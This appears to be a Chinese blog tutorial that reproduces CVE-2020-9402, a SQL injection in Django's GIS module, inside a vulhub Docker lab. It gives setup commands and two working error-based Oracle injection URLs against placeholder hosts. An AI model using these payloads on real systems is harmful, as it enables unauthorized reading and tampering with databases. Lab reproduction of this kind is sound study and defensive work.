CVE-2020-9402(Django GIS SQL注入漏洞复现)
一、漏洞描述
Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。 Django 1.11.29之前的1.11.x版本、2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞。攻击者可借助特制的SQL语句利用该漏洞查看、添加、修改或删除数据库中的信息。
二、环境搭建
需要使用的工具如下
1.docker+vulhub漏洞库
2.Burpsuite抓包工具
3.靶机Ubuntu18.04虚拟机(其他也可以)
打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)
root@admin666-virtual-machine:~/vulhub/django/CVE-2020-9402#
执行如下命令进行靶场环境搭建
root@admin666-virtual-machine:~/vulhub/django/CVE-2020-9402# docker-compose up -d
出现done表示搭建完成!
可以访问http://your-ip:8983
,出现如下页面表示搭建成功!
三、漏洞利用
访问http://your-ip:8000/vuln/,构造一个参数q,传入payload
http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
访问http://your-ip:8000/vuln2/,跟上面一样,构造参数q,传入payload
http://your-ip:8000/vuln2/?q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20--
也可以直接传入',也会报错,如:http://your-ip:8000/vuln/?q=1'
四、关闭环境
docker-compose down